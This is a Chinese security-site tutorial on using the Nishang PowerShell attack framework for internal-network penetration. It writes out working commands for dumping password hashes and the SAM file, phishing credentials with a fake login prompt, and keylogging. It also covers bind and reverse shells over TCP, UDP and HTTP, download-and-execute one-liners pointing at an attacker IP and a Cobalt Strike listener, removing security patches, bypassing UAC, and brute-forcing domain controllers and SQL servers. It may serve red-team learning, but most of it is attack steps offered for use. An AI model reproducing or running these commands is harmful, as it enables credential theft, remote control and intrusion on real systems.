freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

内网工具---Nishang研究
2021-09-07 11:22:42

前言
Nishang是一个基于PowerShell攻击脚本和有效载荷的框架和集合,支持使用PowerShell进行攻击性安全、渗透测试和红队合作,集成了框架、脚本和各种payload(包括下载、执行、后门、扫描、执行、解密、键盘记录等脚本),被广泛用于渗透测试的各个阶段。
工具链接:https://github.com/samratashok/nishang

Nishang目录介绍

ActiveDirectory:活动目录
Antak-WebShell:在内存中执行PowerShell脚本,运行命令,并使用此Webshell下载和上载文件。
Backdoors:一个后门,可以从第三方网站接收指令,并在内存中执行PowerShell脚本。
Bypass:实施公共已知方法来绕过
Client:客户端
Escalation:当需要权限时提权
Execution:命令执行(RCE)
Gather:信息收集
MITM:用于MITM攻击的本地HTTPS代理
Misc:脚本
Pivot:跳板、远程执行exe
Prasadhak:对照VirusTotal数据库检查正在运行的进程的运行哈希。
Scan:扫描
Shells:shell
Utility:杂项
Powerpreter:Meterpreter会话

image
一、Nishang初步使用
执行get-host命令查看版本信息,Nishang需要Powershell版本在v3以上才能使用(windows10自带的是5.1版本的)image以管理员权限打开PowerShell,导入所有的脚本到当前的PowerShell会话中
Import-Module -verbose .\nishang.psm1
image在PowerShell导入模块的时候是不允许的,在默认的设置, 不允许任何脚本运行(Restricted),所以我们需要修改权限为remotesigned
输入指令Set-ExecutionPolicy remotesigned,修改策略后就可以成功导入脚本
imageimage执行Get-Command -Module nishang
查看导入的模块中的脚本信息
image

二、利用Nishang进行信息收集
(1)执行Get-Information收集本机的信息(可以获取计算机上的大量信息,例如FTP访问、进程、计算机配置信息、无线网络和设备的信息、hosts信息等)
image(2)执行Get-PassHashes抓取计算机的密码hash值信息
代码中定义的函数Get-PassHashes中定义了多个函数,在函数的最后调用DumpHashes作为入口函数。
imageWindows系统下的hash密码格式为(用户名称:RID:LM-HASH值:NT-HASH值
image(3)执行Get-PassHints获取用户的密码提示信息
image(4)执行Check-VM用于检测当前的机器是否是一台已知的虚拟机
This is a Hyper-V machine.(结果不是一台虚拟机)
This is a VMWare machine.(如果是虚拟机会显示该结果)
image(5)执行Copy-VSS来复制出SAM文件
执行Copy-VSS会将SAM文件保存在当前路径下(/nishang-master
执行Copy-VSS -DestinationDir C:\TEMP指定保存文件的路径(必须是已经存在的路径)
imageimage(6)执行Invoke-CredentialsPhish用来欺骗用户输入账号密码信息
."C:\nishang-master\Gather\Invoke-CredentialsPhish.ps1"
Invoke-CredentialsPhish
image执行后会弹出这个框欺骗用户去输入账号密码,只有当用户输入正确的账号密码后这个弹框才会消失,然后我们就可以在PowerShell端得到明文的管理员账号密码
image(7)执行FireBuster ip -port -Verbose进行端口扫描
image(8)执行Keylogger.ps1保存用户的键盘记录,保存后的文本为key.log(在C:\Users\Administrator\AppData\Local\Temp目录下)
imageimage接着使用Nishang Utility中的Parse_Keys来解析key.log文件,解析后的文件就存放着键盘记录
Parse_Keys .\key.log .\su.txtimage

三、利用Nishang实现交互式shell
参数介绍

-IPAddress 反向连接时需要连接到的IP地址
-Port 反向连接时是需要连接到的端口,选择-Bind选项时是需要监听的端口
-Reverse 反向连接
-Bind 正向连接用到的端口监听

基于TCP协议的交互式shell
正向连接(目标在外网而你在内网的时候)
(1)在目标机器运行脚本,执行监听端口(攻击机等会要连接该端口)
.\Invoke-PowerShellTcp.ps1
Invoke-PowerShellTcp -Bind -Port 5050image(2)在攻击机上使用nc工具正向连接目标机器
nc -nv 192.168.98.101 5050

-n 直接使用IP地址,而不通过域名服务器
-v 显示指令执行过程

image

反向连接(目标在内网而你在外网的时候)
(1)在攻击机上执行nc命令,开启本地端口监听通道
Nc -lvp 5050

-l 使用监听模式,管控传入的资料
-v 显示指令执行过程
-p 设置本地主机使用的通信端口(2)在目标机器上执行Invoke-PowerShellTcp -Reverse -IPAddress 192.168.170.128 -Port 5050反向连接攻击机
image

基于UDP协议的交互式shell
正向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
目标机器执行Invoke-PowerShellUdp -Bind -Port 5555
攻击机执行nc -nvu 192.168.98.101 5555
反向连接(与基于TCP协议的步骤差不多,攻击机的nc命令改变一下)
目标机器执行Invoke-PowerShellUdp -Reverse -IPAddress 192.168.170.128 -Port 5555
攻击机执行nv -lup 5555
image

基于HTTP/HTTPS协议的交互式shell
(1)在攻击机上使用脚本Invoke-PoshRatHttp -IPAddress 192.168.98.101 -Port 4444(需要目标机器的ip和端口),然后就会生成一个poc
image(2)把poc放到目标机器的powershell上,即可造成反弹shell
IEX ((New-Object Net.WebClient).DownloadString('http://192.168.98.101:4444/connect'))
image

利用Cobalt Strike工具反弹shell
(1)先建立一个监听,然后在Attacks模块点击Scripted Web Delivery(s)选项,将建立的监听放到攻击模块中,之后就会生成一个PowerShell类型的反弹shell脚本
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.170.128:80/a'))"
image将poc脚本放到目标机器上执行,就能够反弹shell到Cobalt Strike上,随后就能够进行一些列的提权、抓取密码、截取屏幕等操作
如果获取一定的权限(webshell、远程控制等),可以通过cmd打开powershell或者调用powershell.exe程序执行脚本代码image

image

image获取目标机器的终端权限,执行cmd指令
image截取目标机器的图片(Screenshots
image获取目标机器的hash值
image

四、权限提升
(1)尝试本地权限提升,在获取一定权限的情况下,帮助我们提升到System权限
在目标机器上执行Enable-DuplicateToken
image(2)删除补丁,补丁可以用来修复系统漏洞等一系列漏洞问题,如果删除补丁就可能造成系统漏洞的再次利用
在目标机器上执行Remove Update

Remove-Update All 移除目标机器上的所有补丁
Remove-Update Security 移除目标机器上所有安全补丁
Remove-Update KB2761226 移除指定编号的补丁

image(3)绕过UAC(Bypass UAC

Invoke-PsUACme -Verbose 使用Sysprep方法和默认的Payload执行
Invoke-PsUACme -method oobe -Verbose使用oobe方法跟默认的payload执行
Invoke-PsUACme -method oobe -Payload "powershell -windowstyle hidden -e YourEncodedPayload" 使用oobe方法跟自制payload执行

imageInvoke-PsUACme模块使用来自于UACME项目的DLL来Bypass UAC
image

五、暴力破解
(1)Scan路径下的Invoke-BruteForce脚本可以对SQL Server、域控制器、Web以及FTP进行暴力破解

ComputerName 用于指定对应服务的计算机名
UserList 用户名字典
PasswordList 密码字典
Service 服务类型(注意默认为:SQL)
StopOnSuccess 成功找到一个之后就停止执行

Invoke-BruteForce -ComputerName targetdomain.com -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service ActiveDirectory -StopOnSuccess -Verbose 爆破域控制器
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose 爆破SQL Server
cat C:testservers.txt | Invoke-BruteForce -UserList C:testusers.txt -PasswordList C:testwordlist.txt -Service SQL -Verbose 爆破server.txt中所有servers的SQL Server

爆破SQlServer示例
Invoke-BruteForce -ComputerName SQLServ01 -UserList C:wordlist1.txt -PasswordList C:wordlist2.txt -Service SQL -Verbose
image(2)Invoke-PortScan对目标机器环境中的其他主机和端口进行枚举破解

StartAddress 扫描范围开始的地址
EndAddress 扫描范围结束的地址
ScanPort 进行端口扫描
Port 指定扫描的端口号

对目标范围192.168.98.1-196.168.98.254的机器进行枚举,看是否存在开启80端口的机器
Invoke-PortScan -StartAddress 192.168.98.1 -EndAddress 192.168.98.254 -ResolveHost -ScanPort -Port 80
image

参考文章:
https://zhuanlan.zhihu.com/p/27723026
注:本篇文章仅作学习研究,请勿作违法违规操作。
总结
当获取到一定权限的时候,Nishang基于PowerShell来操作指令,往往没有cmd限制的多,利用Nishang工具来进行横向渗透或者是提权等操作都是一个很好的选择。

# 渗透测试 # 内网渗透 # 网络安全技术
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者